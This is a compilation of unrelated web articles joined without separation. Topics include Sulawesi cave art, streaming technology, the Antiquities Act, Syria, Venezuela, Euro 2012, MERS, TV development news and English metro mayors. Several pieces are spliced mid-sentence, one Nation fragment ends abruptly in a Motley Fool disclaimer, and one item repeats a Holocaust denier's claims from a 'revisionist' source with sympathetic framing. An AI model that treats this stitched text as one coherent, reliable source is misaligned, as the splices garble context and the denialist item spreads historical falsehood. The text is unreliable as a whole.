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Truly human Art and the ability to think of abstract concepts is what distinguishes our species from other animals - capabilities that also led us to use fire, develop the wheel and come up with the other technologies that have made our kind so successful. Its emergence, therefore, marks one of the key moments when our species became truly human. The dating of the art in Sulawesi will mean that ideas about when and where this pivotal moment in our evolution occurred will now have to be revised. Image copyright Maxime Aubert Compare the painting above from Bone with the one immediately below, which is from El Castillo cave in northern Spain, and dated to be 37,300 years old by researchers at Bristol University. Image copyright Bristol University The Sulawesian and Spanish paintings look very similar, and they are both about the same age. For decades, the only evidence of ancient cave art was in Spain and southern France. It led some to believe that the creative explosion that led to the art and science we know today began in Europe. But the discovery of paintings of a similar age in Indonesia shatters this view, according to Prof Chris Stringer of the Natural History Museum in London. "It is a really important find; it enables us to get away from this Euro-centric view of a creative explosion that was special to Europe and did not develop in other parts of the world until much later," he said. If Sulawesi is anything to go by a crucial part of the human story could be right under our noses Dr Adam Brumm, Griffith University The discovery of 40,000-year-old cave paintings at opposite ends of the globe suggests that the ability to create representational art had its origins further back in time in Africa, before modern humans spread across the rest of the world. "That's kind of my gut feeling," says Prof Stringer. "The basis for this art was there 60,000 years ago; it may even have been there in Africa before 60,000 years ago and it spread with modern humans". Dr Adam Brumm, who is the co-leader of the Sulawesi research, believes many well-known sites in Asia, and as far away as Australia, contain art that is extremely old but which has not yet been accurately dated. "If Sulawesi is anything to go by, where cave art was first recorded over half a century ago but was assumed to be young, a crucial part of the human story could be right under our noses" he said. Dr Muhammad Ramli, an archaeologist working with the Makassar branch of Indonesia's Preservation for Heritage Office, said that the Sulawesian paintings in Maros were being eroded by the pollution coming from an upsurge in local industrial activities. "In the beginning of the 1980s, there were a lot of cave paintings on this site in the form of hand stencils, as you can see right now. Presently, a lot has been damaged. "There is a strong necessity to conduct conservation studies in order to find the best way of preserving these sites so that the paintings may last," he told BBC News.
Follow Pallab on Twitter
Footage and still pictures for the interactive video courtesy of: University of Bristol for the Spanish cave drawing still, Maxime Aubert for the Indonesian cave drawing stills, Kinez Riza for the Indonesian cave footage and the still of the mammoth sculpture, the National Museum and Research Centre of Altamira for the Spanish cave footage and Auscape for Australian cave art still. The video was filmed at Kents Cavern in Torquay. http://www.kents-cavern.co.uk/Share
When you fire up your cable box and dial in your favorite TV channel, you never get a message asking you to wait around while the channel “buffers,” nor do you have to worry about whether you’ll get the best possible picture. You expect the show to start playing — in HD — right away.
Unfortunately, that’s not how Netflix, Hulu and other streaming video sites have been working. But now there’s a company that has developed a technology, dubbed “Adaptive Video Acceleration,” that promises to make streaming online video as reliable and interruption-free as broadcast TV, even for those with less-than-speedy Internet connections. And if you own a 2014 Samsung smart TV or Blu-ray player, you can benefit from this technology right now.
For roughly the past the year, ISPs and video-streaming services alike have been running around in circles trying to come up with a solution to the ongoing problem of buffering, stuttered video streams, and poor resolution (picture quality), but the fixes have usually been adjustments to the source of the stream, such as Netflix’s distribution and delivery processes. In many cases, the solution has taken the form of simple cash offerings from streaming services hoping to gain access to “fast lanes” that smooth out the video delivery pipeline. But Giraffic‘s AVA technology deals with the buffering quandary in an entirely different way: It changes the way you receive all that video information.
How the software works is difficult to decipher for nearly anyone who isn’t a network engineer — on paper it looks like some serious technological black magic. According to a Giraffic representative, “AVA requests multiple feeds of small fragments of files.”
By this description, it would seem that rather than try to rely on a single stream, AVA pings multiple servers for smaller pieces of a video stream, then stitches them all back together for seamless playback.
To illustrate, let’s say you queued up a movie on Netlfix. When you press play, AVA goes to work pinging not just one Netflix server, but several of them, all for the same video stream. With several streams going, AVA will take bits and pieces of each one dynamically, depending on how reliable and fast those streams are. It then puts all the pieces in order and serves up the video without you, the viewer, knowing anything about all the crazy background work going on.
To do all of this, AVA has to perform several complicated tasks such us real-time bandwidth diagnostics, intelligent utilization and routing of TCP connections, automatic learning of ISP policy, dynamic fragment sizing, and a whole list of highly technical processes. Sounds complicated doesn’t it? It is, and perhaps that’s why we’ve never seen anything quite like it before.
Digital Trends has both a 2014 Samsung smart TV and smart Blu-ray player on hand and will be putting Giraffic’s claims to the test, but if it delivers on its promise, Giraffic’s new software could be a game-changer for smart TV platforms, and will likely find its way into many other manufacturer’s devices. This could take some of the pressure off of Netflix, but with 4K streaming increasing in the coming months and years, something tells us Netflix can’t afford to relax just yet.A hiker in Bears Ears National Monument in Utah. (Reuters photo: Andrew Cullen)
What happens when conservation lives and dies by unconstrained executive power.
On Monday, President Donald Trump visited Utah to announce the largest reductions to national monuments in U.S. history. His order will shrink two national monuments, Bears Ears and Grand Staircase–Escalante, by roughly 2 million acres in total. The decision has drawn the ire of environmental groups and Democratic legislators but has been applauded by Republican lawmakers and locals who want the land to remain open to multiple uses. Legal challenges to the action have already been filed.
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But for every fit of rage over Trump’s executive decision, there is an equal and opposite reaction against the creation of national monuments, in which presidents can restrict land use across vast swathes of the rural West — all without congressional approval. Whether you agree with Trump’s monument reductions or not, it’s time to put aside our selective outrage over executive authority and roll back the century-old law that got us into this situation in the first place.
The fight centers on the use of the Antiquities Act of 1906, a Progressive Era law that allows presidents to unilaterally set aside federal lands to protect objects of historical, cultural, or scientific significance. The act was designed mainly to prevent looting of Indian artifacts, and designations made under it were to be confined to “the smallest area compatible with proper care and management” of the protected objects.
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In recent decades, however, the 111-year-old law has been abused as a large-scale conservation policy issued by presidential proclamation. Since 1996, both Republican and Democratic presidents have used it to set aside more than 11 million acres of land, as well as about 760 million acres of ocean as marine monuments. President Barack Obama, no stranger to executive authority, used the act to create more national monuments than any other president.
To see why such designations are so controversial, look no further than Bears Ears. Obama created the 1.35 million-acre monument in the final weeks of his presidency despite opposition from Utah’s governor, its state legislature, and its entire congressional delegation. A legislative proposal, known as the Public Land Initiative, sought to reach a “grand bargain” that would protect some areas of the region in exchange for opening other lands for resource development. That effort, which was several years in the making, was upended by Obama’s unilateral designation.
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Such is the reality of the Antiquities Act. With just the stroke of a pen, the president can avoid the democratic processes inherent to federal lawmaking and dictate land-use restrictions on locals halfway across the continent. (In its Bears Ears announcement, the Obama White House tweeted an image of the wrong area, posting a picture of Arches National Park, which is 120 miles away). And because such designations usually happen in the final days of an administration, others are left to deal with the consequences. After all, if it was good policy, it wouldn’t require an eleventh-hour presidential proclamation.
The law also undermines the potential for compromise, which is at the heart of the legislative process. Why would environmental groups come to the bargaining table in good faith when they could instead simply lobby the White House to declare a monument? With a powerful tool like the Antiquities Act at their disposal, there’s no need to waste time finding a sensible middle ground. The same could be said of the Trump administration’s monument reductions. As long as such decisions can be made by presidential fiat (assuming Trump’s proclamation withstands legal challenges), any effort may last only as long as the sitting president’s term in the West Wing.
Lasting reform will require action from Congress. And that may be coming. A House committee recently approved a bill to limit the size of monuments that a president can designate via executive authority.
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Earlier this year, Trump instructed Interior Secretary Ryan Zinke to review 27 large monuments created since 1996. In his final report, which was released on Tuesday, Zinke recommends shrinking several other monuments, such as Gold Butte in Nevada and Cascade-Siskiyou in Oregon and California. Zinke also recommends a relaxation of restrictions in some monuments to allow more livestock-grazing, timber-harvesting, and commercial fishing.
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But lasting reform will require action from Congress. And that may be coming. The U.S. House Natural Resources Committee recently approved a bill from Rob Bishop (R., Utah) to overhaul the Antiquities Act by limiting the size of monuments that a president can designate via executive authority. Under Bishop’s bill, designations larger than 640 acres would require public input. Larger monuments, up to a maximum of 85,000 acres, would also need approval from the local and state lawmakers impacted by the designations.
The proposed legislation would also clarify the scope of the Antiquities Act by imposing strict limits on which “antiquities” the law can be used to protect. Whereas past presidents have used the act to conserve such things as geological formations and natural landscapes and even to protect biological diversity, Bishop’s bill would define “objects of antiquity” as “relics,” “artifacts,” “skeletal remains,” “fossils,” and “certain buildings” already constructed. The bill would also codify the president’s powers to reduce the size of monuments made by their predecessors — a legal question that Trump is already testing.
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In the end, the best outcome would be to reform the Antiquities Act to put an end once and for all to its abuse by lame-duck, legacy-seeking presidents. There is a right way to set aside large areas of federal land in a relatively permanent way, and it’s through legislative action — just as national parks and federal wilderness areas are created. Executive actions that seek to bypass that process are, and should be, prone to fail.
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READ MORE:
A Monumental Mistake
Reversing Obama’s Last-Minute Land Grab
Trump Wants to Free Up Federal Lands, His Interior Secretary Fails HimRegime to intensify crackdown on protesters after claiming that dozens of government personnel were killed in Jisr al-Shughour
The Syrian government has vowed to retaliate after claiming that dozens of its police and security forces were killed in attacks in and around the north-western town of Jisr al-Shughour.
In an indication they will intensify the crackdown on protesters that has already killed an estimated 1,200 civilians, authorities rapidly upgraded the toll in the town 20 miles from the Turkish border.
The state news agency, Sana, initially said 28 personnel had been killed, including in an armed ambush and at a state security post. It revised the figure up to 43, 80 and then 120 within the space of an hour without an explanation. The claims could not be independently verified.
"We will act firmly and decisively based on the law [and] will never be silent over any armed attack that targets the country's security," the interior minister, Ibrahim Shaar, said in a statement broadcast on state television.
A military operation took place in the town as part of a wider crackdown on 12 weeks of protests calling for the end of President Bashar al-Assad's rule, although residents said the town was calm on Monday.
The regime and state media have little credibility, having waged an unprecedented war of disinformation while refusing to acknowledge a role in the crackdown, blaming the escalating violence on armed gangs and extremist insurgents.
Amateur footage and eyewitnesses have depicted scenes of plain-clothes security forces and the army shooting at peaceful protesters.
Activists and analysts suggested members of the security forces may have been killed but said that claims the killings had been carried out by armed gangs were intended to justify the crackdown. They pointed out that armed gangs never roamed Syria before the Arab spring.
A man identifying himself as First Lieutenant Abdul Razak Tlass denied in an interview on al-Jazeera on Monday evening that the regime was fighting armed groups. The soldier, believed to be from the extended family of former defence minister Mustafa Tlass who was one of the closest allies of Bashar's father Hafez, urged army officers to stand with the protesters.
A resident of Jisr al-Shughour told the Guardian on Monday there had been some clashes between plain-clothes security forces and the army over the weekend, but that this could not account for all the dead.
Activists have admitted that a small number of protesters, pushed to the extreme by over two months of a crackdown that has seen tanks and even helicopters bombard cities and towns, are fighting back, including in Jisr al-Shughour and Tel Kalakh.
Two men from Jisr al-Shughour said some protesters had returned fire when shot at by security forces in the past few days, but did not know of Sunday night's ambush.
Analysts suggest further explanations could include exaggerated numbers, the killing of plain-clothed security forces by accident by other forces or the deliberate killing of forces due to defections.
"We can't know who killed the security because no one is allowed in to see," said Rami Abdul-Rahman, of the London-based Syrian Observatory for Human Rights, which claimed at least 27 civilians and 13 security force personnel had been killed in Jisr al-Shughour over the weekend.
"You can't control people who see their relatives killed or tortured and not expect a small minority not to fight back, but it is all regime-stoked," he said.
Human rights organisations say more than 1,200 civilians, including 77 children, have been killed since the protests broke out in mid-March, while the government claims more than 200 of its personnel have been shot dead.
Two members of the security forces are reported to have been killed by mourners on Saturday in Hama, but some activists deny the claims.
Many say the Syrian regime is trying to provoke predominantly peaceful protesters to fight back to justify the state's crackdown, which has turned increasingly bloody as the government refuses to offer substantive reform. "The government, willing to kill citizens and provoke Israel, is turning a peaceful, legitimate uprising into chaos," said an analyst in Damascus.
Nidaa Hassan is a pseudonym for a journalist in DamascusVenezuelan dictator Nicolás Maduro announced a $6 “Baby Jesus Bonus” for the country’s poorest families in an effort to ease the pressure of the socialist country’s worsening humanitarian crisis.
According to state propaganda outlet VTV, the country’s Local Supply and Production Committees (CLAP) will provide “10 million gifts for the children of Venezuela” in a bid to “protect the Venezuelan people from the mafias and the economic war.”
The bonus is also to ensure that four million families have toys for their children for the Christmas season.
“Venezuelan children will receive their toys this Christmas,” Maduro said. “Venezuela, here it is, the Baby Jesus Bond. Four million families will benefit from 500,000 bolivars in basket tickets for the Venezuelan family.”
The bonuses are one of a number of “important surprises” Maduro promised this month after he announced a “Christmas season of happiness” on November 1.
Although comparatively low, the 500,000 bolivar gift presents a significant bonus for many Venezuelan families, whose monthly minimum wage of 175,000 bolivares is now worth just $2.13, equivalent to just more than one cent an hour.
The Maduro regime has repeatedly used the Christmas season alongside a range of bizarre indoctrination programs as a distraction from the country’s collapse, which has seen millions of people plunged into poverty and famine amid a growing scarcity of basic resources, such as power, medicine, and sanitary products.
Last year, the government seized nearly four million toys from a private company to hand them out to poor children this holiday season, which the government said was an attempt to show “that you can’t play with the rights of Venezuelans.”
Other initiatives include the release of socialist Christmas carols urging businesses to lower the prices of goods, the introduction of a “socialist Barbie” sold at a tenth of its retail value, as well as threatening to arrest business owners who refuse to hold Christmas sales.
The regime has also accused the opposition leaders of playing the “Grinch trying to steal Christmas” after they suggested that additional government-sponsored holidays would place further pressure on the country’s economy, which is already collapsing.
Yet on announcing his Christmas “season of happiness,” Maduro argued that the country’s recent struggles “have all been worth it.”
“All our work has been worth it,” he said. “To continue our path of building a country that finds solutions to its problems, as part of a great communal effort amongst Venezuelans who think innovatively.”
You can follow Ben Kew on Facebook, on Twitter at @ben_kew, or email him at bkew@breitbart.com.1. Nature of the objection (be specific, cite pages):
An uncountable number of unacceptable words, of which B*st*rd (p. 45), ev*l*t**n (p. 208), excr*m*nt (p. 210), f**c*s (p. 217), p*n*s (p. 457), s*x (p. 583) and v*g*n* (p. 715) are just a few examples. These are so horrible that you will understand that I cannot write them in full. To expose young minds to such filth is surely to corrupt them for life and to damn them for eternity; Better no 'education' at all than this.
2. Have you read the entire book?
Of course not.
3. What is your impression of the book as a whole?
This book is entirely devoid of either plot or characterization. Words such as those above are liberally (of course!) distributed throughout the volume simply because, if only in the minds of a few demented degenerates, they happen to exist. If this were not enough, to avoid any possibility of misinterpretation, these words are carefully defined. To what depths of depravity has our educational system descended when such words as these are literally flaunted in the faces of the tender, young minds of our young, tender and, were it not for 'education', angelic children?
4. If you have not read the entire book, what parts have you read?
To keep my mind pure, I have tried to read only clean words whose definitions I required. However, the dirty words have a Satanic attraction, a hypnotic quality that draws my eyes back to them time and again. Is there something special in the ink used to print these particular words, or can it be that I myself am already corrupted past redemption?
5. Why have you read these parts only?
To see for myself the corruption that is being forced down the tender young throats of our children.
6. What is your objection to these parts?
That such linguistic, communistic monstrosities should sully the tender young ears of our young tender children would be unthinkable in any civilized society. I demand that this book be immediately withdrawn until all words that could possibly cause corruption are expunged.
7. What is your understanding of the theme of the entire book?
DIRTY WORDS! DIRTY, DIRTY, DIRTY, DIRTY WORDS!!! UGH!!!
8. Assuming that the text is a novel, play, or any piece of fiction, what characters did you dislike? Why?
The letter 'F' should be expelled from the alphabet. The WORST WORD IN THE UNIVERSE starts with this evil letter. If that letter were gone, then so would the word and, with this, the thought. What a victory it would be if such thoughts no longer sullied the tender young minds of our young tender children.
9. What characters did you like? Why?
Simple, clean-lined characters such as 'o' and 'I' are particularly attractive.
10. Can you list any values this book might have over and above your objections to it?
This is an excellent dictionary and I have no objection whatever to it's use. The nonsense I have written in the preceding sections I have tried to make so absurd that it's humourous intent would be evident to even the meanest intelligence. However, just in case I have overestimated the mental equipment or good faith of some readers, I am including this caveat that none of the above answers are to be taken seriously.
11. For what age group would you recommend this book?
<no answer>
12. In textbook selections, the judgements of literary critics are taken into account. Are you aware of any judgements literary critics may have made on this particular book?
<no answer>
Would you recommend a substitute book which, in your judgement, would convey as valuable a picture and perspective of our civilization, and is of equal literary quality?
<no answer>
In the final analysis, what would you like our school system to do about the book?England have been handed France, Sweden and the co-hosts Ukraine as group opponents after the draw for the Euro 2012 finals was made in Kiev on Friday.
Fabio Capello's side will play France in their opening game in the 51,000 Donbass Arena in Donetsk on 11 June, and will remain in Ukraine for the group stage, facing Sweden in Kiev on 15 June and then completing their group against Ukraine back in Donetsk on 19 June.
"The best group was Group A, but we are happy with Group D," said Capello. "It's a tough group but it's better than Group B. Group B is very difficult because Portugal, Germany and Holland is really tough.
"More difficult will be [England's] first game against France because of the pressure and the importance of the result."
Capello ruled out England swapping their tournament base in the Polish city of Krakow, given that all three of their group games are in Ukraine.
"Absolutely not because we have found a really good place," said the Italian. "I am happy with the facilities and we will stay in the same place in Krakow."
Meanwhile Giovanni Trapattoni's Republic of Ireland side will meet the reigning European and world champions Spain, as well as Italy and Croatia in what looks a challenging Group C.
Ireland's opening game will be in Poznan against Croatia on 10 June. They then face Spain up on the Baltic coast in Gdansk on 14 June before finishing the group back in Poznan against Italy on 18 June.
"We have to think in football that all is possible. We have to play with the same mentality – obviously all the teams are very difficult," said Trapattoni. "But I am confident."
The "group of death" certainly looks to be Group B which pits former winners Holland, Germany and Denmark alongside Portugal. Holland will face their great rivals Germany on 13 June in Kharkiv.
Co-hosts Poland will be delighted with Group A, which sees them face the 2004 winners Greece, Russia and the Czech Republic. The opening game of the tournament will be Poland against Greece on 8 June.
England's group games
Monday 11 June v France (5pm)
Friday 15 June v Sweden (7.45pm)
Tuesday 19 June v Ukraine (7.45pm)
Republic of Ireland's group games
Sunday 10 June v Croatia (7.45pm)
Thursday 14 June v Spain (7.45pm)
Monday 18 June v Italy (7.45pm)
Full draw as follows:
Group A
Poland
Greece
Russia
Czech Republic
Group B
Holland
Denmark
Germany
Portugal
Group C
Spain
Italy
Republic of Ireland
Croatia
Group D
Ukraine
Sweden
France
EnglandThe Superhero Cartoon My Daughter and Your Kids Deserve I’m a Black comic book geek who wanted to make something cool for his kid. Damion Gonzales Blocked Unblock Follow Following May 28, 2015 By DAMION GONZALES I shouldn’t be here. I mean I shouldn’t have been the one to do this. There are people much more qualified, more “plugged in,” more scholarly. Heck, a whole bunch of famous people should have done this before I ever got the chance to. People with last names you would recognize. People who can count me as a longtime fan of their body of work. I’m just a regular guy. I’m not Milestone Comics (original flavor or 2.0). I’m no Denys Cowan, Michael Davis (hi, MOTU), Christopher Priest, Derek Dingle, or Dwayne McDuffie. I’m no Reggie Hudlin or Kevin Grevioux. I’m just a guy who wanted to make something cool for my kid. Okay, maybe that’s over simplifying. Or maybe I’m hopping around. So let’s try to find a good jumping in place here. I’m Damion, and I’m a Black Comic Book Geek — or Nerd, or whatever we are these days. Part of the challenge — did I say challenge? I meant burden — of being a comic book fan who’s any other color but White is that you don’t reeeeeally get to see a whole lot of yourself in those four color pages. The struggle’s been real ever since comics have been with us. I mean for decades the faces of comics had been so White — so White you can go ahead and insert your own how White were they? joke — that no one would have a reason to bat an eyelid or raise an objecting finger. Yeah. That White.
Black Lightning. Image: Comic Vine.
Of course, over the years we’ve gotten some guys and gals up in lights, right? You’ve got your Black Lightning, your Storm, your Falcon, your Black Panther, your Luke Cage. Then, Milestone came around in the 1990s and BLEW THE DOOR OFF THE HINGES with incredible storytelling and diverse characters — a world of every hue, every viewpoint, and orientation. Milestone featured comics with characters of color like Hardware, Icon, and Static, the latter of whom would go on to animated-series stardom as Static Shock (2000–04). The good news is that Static Shock is probably showing somewhere in the world as you read this. It was just. that. good. But sadly, it was too good to last… Milestone went away. It was the ‘90s, and the whole comics industry almost died. And it’s a long story, but Milestone went away. This meant all us Black Comic Book Geeks were back on the strip again.
Milestone Comics. Image: Comic Vine.BARCELONA, Spain -- Manor driver Pascal Wehrlein says he feels ready for a Mercedes drive in 2017 after another day of testing for the world champions in Spain.
Wehrlein was a late change to the driver line-up on Wednesday, stepping in for Mercedes as it wanted an experienced driver to complete its testing programme for the week instead of GP3 champion Esteban Ocon. It came at a time of speculation about Mercedes' 2017 driver line-up after Italian reports of Nico Rosberg "flirting" with Ferrari over a drive next year.
As Mercedes reserve driver, Wehrlein would be a strong candidate to step up to the team in that instance.
Asked if he would be ready to race in 2017, he said: "Yes I would be ready."
Wehrlein, who tested for Manor on Tuesday before being told at 8pm he would get another day with the world champions on Wednesday, feels like he is always showcasing his talents to Mercedes whenever he is driving a Formula One car.
"You always are [auditioning], you cannot relax, step back, hope or be sure of what happens next year or the next years so you always need to push, always need to push yourself and make the best out of it."
The German-Mauritian driver is refusing to get too carried away with the future when he has a full campaign with Manor to focus on this season.
"I don't know. I'm pushing as hard as I can, that I can't win a race this year is clear. You never know what happens in the future. At the moment, I just focus on my job this year, I want to learn as much as possible and get the best results out of the car. Other decisions, I'm the wrong person."Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Coups and countercoups. Crackdowns. Economic crackups. Seven cents for a tube of toothpaste and $755 for a box of condoms. As a result of the latter, Bloomberg says, “Venezuela has one of South America’s highest rates of HIV infection” (disturbing, and, Bloomberg didn’t mention, exactly the same rate of HIV infection as in the United States). Falling oil prices. The arrest of an opposition leader. Washington plots. Human Rights Watch tweets. South America rallies. Ad Policy
What is going on in Venezuela? I have no idea. I’ve been too busy trying to track down the cameraman who accompanied Bill O’Reilly to El Salvador, where he didn’t report on the El Mozote massacre |
that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.An 87-year-old German woman has been sentenced to ten months in prison for doubting that people were “exterminated” by being gassed in the Nazi concentration camp in Auschwitz.
Ursula Haverbeck was sentenced at the Hamburg District Court on Nov. 11, 2015.
Arriving without a lawyer, Haverbeck defended herself and reiterated her doubts about the official holocaust story in the courtroom
Revisionistreview reports:
She was accused of giving an interview to the German magazine Panorama in which she stated that Auschwitz was not an extermination camp but a labor camp. The mass murder of Jews had not taken place, she said.
Haverbeck, former chairwoman of the now-banned freethought association, “Collegium Humanum,” told the judge,”Here, I stand.”
Turning to the prosecutor she asked, “How do you as a lawyer prove the accusation that Auschwitz was an extermination camp?” Her request for a revisionist historian to give evidence that at Auschwitz no one had been gassed, was rejected by Judge Jönsson who stated: “It is futile to argue with people who do not accept the facts.”
The German government prosecutor maintained that the defendant’s “fanatical delusion” had not abated and that, despite her advanced age, Ursula Haverbeck must be sentenced to 10 months in prison without parole. The judge agreed and the sentence was imposed.
In 2009, Haverbeck was fined thousands of dollars in the District Court of Bad Oeynhausen, for having given offense to Charlotte Knobloch, president of the Central Council of Jews.On Thursday, the Saudi Arabian health ministry confirmed 13 more cases of patients contracting MERS-CoV, the acronym for Middle East Respiratory Syndrome Coronavirus, as well as two more deaths. MERS-CoV is an infectious disease with no known cure and is considered more deadly than SARS--which killed some 800 people during a 2002-2003 outbreak that first started in China. Since 2012, 83 people have died and 285 people have contracted the virus in the Kingdom alone. It has spread to the neighboring United Arab Emirates. Reports also suggest pilgrims from as far afield as Malaysia and the Philippines contracted the virus while on hajj in Mecca.
What's been truly alarming has been the recent surge in numbers of those infected, with more confirmed reports so far this year than in all of 2013. Ian Mackay, an epidemiologist at the Australian Infectious Diseases Research Centre at the University of Queensland, has been monitoring the spread of the disease. In the chart he tweeted below, note the dramatic spike in cases in the past month (KSA is the acronym for the Kingdom).
How does the view look from up there #MERS? More at VDU blog... http://t.co/d041Bqykk6 pic.twitter.com/3AKpWY7eHQ — Ian M Mackay, PhD (@MackayIM) April 24, 2014
The Saudi health ministry has been criticized for inadequately dealing with the situation. A lack of data shared by the Saudis has made it difficult for experts like Mackay as well as monitors at the WHO to study whether the virus has mutated and become more easily transmissible between humans--a development that could pave the way for a pandemic.
Public health experts and epidemiologists are still struggling to understand where the virus originated and how it spreads--with most suggesting it emerged through contact with camels, and others pointing to bats as prime carriers of the virus.
On Monday, the Saudi government removed health minister Abdullah al-Rabiah from his post, without offering an official explanation. His replacement, Adel Fakieh, promised "transparency and to promptly provide the media and society with the information needed." But that may not soothe local fears. In Jeddah, where the majority of cases have been reported, four doctors resigned earlier this month after refusing to treat MERS-CoV patients. That's hardly a vote of confidence as international health officials and Saudi Arabia's panicked neighbors look to the Kingdom to stave off a potential global outbreak.News, updates, and (mostly viable) rumors relating to development of science fiction / fantasy television productions. If you have tips or more info on these or other productions, please pass them along in the comments.
[Updated for Incorporated Pilot]
Development news picked up some the last couple of weeks including a breaking announcement from yesterday on the Twin Peaks revival.
Updates:
Twin Peaks : It looks like Showtime’s mini-series revival of this classic 90’s show will be moving forward without creator David Lynch. He had previously expressed some trepidation over the project and yesterday word broke that he would be dropping out. Lynch tweeted that “after 1 year and 4 months of negotiations, I left because not enough money was offered to do the script the way I felt it needed to be done”. Showtime in turn issued the following statement concerning Lynch’s departure:
We were saddened to read David Lynch‘s statement today since we believed we were working towards solutions with David and his reps on the few remaining deal points. SHOWTIME also loves the world of Twin Peaks and we continue to hold out hope that we can bring it back in all its glory with both of its extraordinary creators, David Lynch and Mark Frost, at its helm
It appears that they still plan to go forward with the project (and haven’t given up on getting Lynch on board) which would deliver a nine episode limited run series continuation of the Twin Peaks story twenty years later (and several of the original actors including Kyle MacLachlan are set to return). But if Lynch is not involved, it would definitely impact the cred of the revival among its fans.
Development:
Captain Cosmos: Game of Thrones‘ George R. R. Martin may still be tasked with completing the books that series is based on, but he has found another project for his time as well. He is currently working on a new show for HBO that looks like it might take its inspiration from early TV kiddie space operas like Captain Video and His Video Rangers. Titled Captain Cosmos, Zap2It.com describes the series pitch as “at the dawn of the age of TV in 1949, a visionary young writer creates a science fiction series that tells stories no one else will dare to tell”. This is part of Martin’s 2013 deal with HBO to develop more TV properties and would likely hit the air sometime in 2016.
Attack on Titan Live Actions Series: Word had already broke that this anime series would be adapted to the big screen and now it appears that a live action TV is in the works as well. According to ComicBook.com, the series “will tell a new story of the complex everyday lives of soldiers, and will tie into the two upcoming live action films”. Actors from the movies will reprise their roles in the series and it is set to debut in August.
Lucky Man: Stan Lee may be 92 years old, but that doesn’t appear to have slowed him down from developing new projects. He is working with UK’s Sky channel and Downton Abbey producer Carnival Films on the superhero series Lucky Man. According to Variety:
It is the story of detective Harry Clayton, a cop from Central London’s notorious Murder Squad, who is given a charm that seems to confer upon the wearer the ability to control luck. Harry is down on his luck: his wife and child have left him due to his gambling habit, his boss thinks he’s in league with the devil, and he has a huge debt to an infamous underworld crime boss who is threatening his life. A chance meeting with a mysterious woman who gives him an ancient bracelet changes everything… It appears to give Harry control over luck itself.
Ten episodes have been ordered and it will air during 2016.
Shadowhunters: This series which is based on Cassandra Clare’s YA Mortal Instruments fantasy books and is a spin-off of the 2013 feature film has been picked up by ABC Family. According to Deadline Hollywood:
The series will reboot the chronicle of the Shadowhunters led by Clary Fray and Jace Wayland in one-hour episodes beginning with the first book, City Of Bones, and expanding into later books as the series progresses.
The feature film was not a Box Office success, but apparently the property was still considered to have untapped potential. It will likely make it to air sometime in 2016.
Montauk: Netflix continues to move forward with original programming and has announced development on this supernatural mystery series which, according to Hollywood Reporter, “centers around the disappearance of a boy in Montauk, Long Island, in 1980”. Eight episodes have been ordered with plans for it to air at some point in 2016.
Nerdist News: Syfy may not have found much ratings success last year with Wil Wheaton’s snarky geek update show The Whil Wheaton Project (though I rather enjoyed it), but they are dipping into that well again with a TV version of Nerdist News which offers genre and pop culture news and updates. The Talking Dead‘s Chris Hardwick will produce but will not be the host. There’s no word at this point on how soon Syfy will get the show on their schedule.
Incorporated: Syfy has greenlighted a pilot for this series from Ben Affleck’s Pearl Street Productions. According to the press release, this dystopian tale set in the future “tells the story of executive Ben Larson, forced to change his identity in order to infiltrate a cut-throat corporate world, to save the woman he loves. In the process, he will take on the entire system – with deadly consequences”. This is currently a pilot order only, but if it goes to series it would likely hit Syfy’s schedule at some point in 2016.Thursday's first meeting of the Senate's Tea Party Caucus attracted four Republicans, and Ron Johnson was not among them.
The freshman Senator will not be joining the group at this time, an aide said.
"I sprang from the Tea Party and have great respect for what it represents," Johnson said in a statement. "The reason I ran for the US Senate was to not only stop the Obama agenda but reverse it. I believe our best chance of doing that is to work towards a unified Republican Conference so that's where I will put my energy."
In other words, Johnson does not appear to be interested in being part of a faction that may directly challenge the party leadership or prove divisive within the GOP caucus. His statement suggests that's a tactical decision, not a statement about his commitment to the Tea Party agenda (63% of Johnson voters last fall supported the Tea Party movement, according to the Wisconsin exit poll).
The four Republicans that were part of the inaugural meeting of the Tea Party Caucus in the Senate were: Jim DeMint of South Carolina, Rand Paul of Kentucky, Mike Lee of Utah and Jerry Moran of Kansas.
At the meeting, Demint thanked voters for electing three other GOP senators who have identified with the Tea Party movement but haven't joined the Tea Party caucus: Johnson, Pennsylvania's Pat Toomey and Florida's Marco Rubio.
According to this report, the absence of those three frustrated some Tea Party members.Andy Burnham’s manifesto launch was a glimpse into the potentially transformative role England’s new metro mayors could play, writes Luke Raikes
Today, the race to govern Greater Manchester moved up a gear. Andy Burnham has just published his manifesto, in his campaign to be mayor of our de facto second city. He will soon be followed by other candidates in Greater Manchester and five other city regions across the country.
If elected, on 4 May he would be one of six new mayors to step forward. Together, they will govern a large swathe of England: in total, almost 10m people and city economies worth £214bn will fall under the remit of these new mayors. A greater population, incidentally, than Scotland and Wales put together.
This is a new type of governance for England; these mayors will not govern alone. And while we are used to having mayors of local authority districts, and a mayor of London, nobody has yet had to govern across a city region in close collaboration with a cabinet of elected leaders.
They have quite a task ahead of them. Anyone visiting cities like Birmingham or Manchester will see the great cradles of opportunity their city centres have become. But look again and it is clear that, while some citizens have indeed prospered, others have been locked out. These cities are home to the poorest in the country, their full potential held back by poor health, homelessness and low pay.
And within this manifesto, there is a flavour of what mayors could achieve. A combination of hard and soft power will enable these mayors to deliver.
In a forthcoming report from IPPR North, we will set out 30 things these mayors could do; policies they could implement that would improve the everyday lives of their citizens: the quality of the air they breathe, the efficiency of the public services they use, the jobs and prospects of families and children within their city region.
But this is just the beginning. These mayors will want to hit the ground running and demand more powers from central government. The United Kingdom is the most centralised major country in the developed world, which holds back investment, and means less responsive public services. Mayors, working together, could start to chip away at this power.
They should push for fiscal devolution – control over their own revenue streams – as a top priority. Remarkably, less than five per cent of tax revenue is raised locally in the UK – far less than in other countries. This does not just mean retaining business rates – which introduce all sorts of problems around equality and incentives. It means the power to raise a hotel bed tax, to expand the business rate supplement, or to roll out workplace parking levies.
With this further devolution, these mayors could be transformative. They could tackle the challenges central government has systematically failed to address, and build cities which are truly inclusive. For those locked out of power in Westminster, they are an opportunity to show leadership, responsibility and progress. The elections on 4 May will be an important first step.
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Luke Raikes is a research fellow at IPPR North. He tweets at @lukeraikes
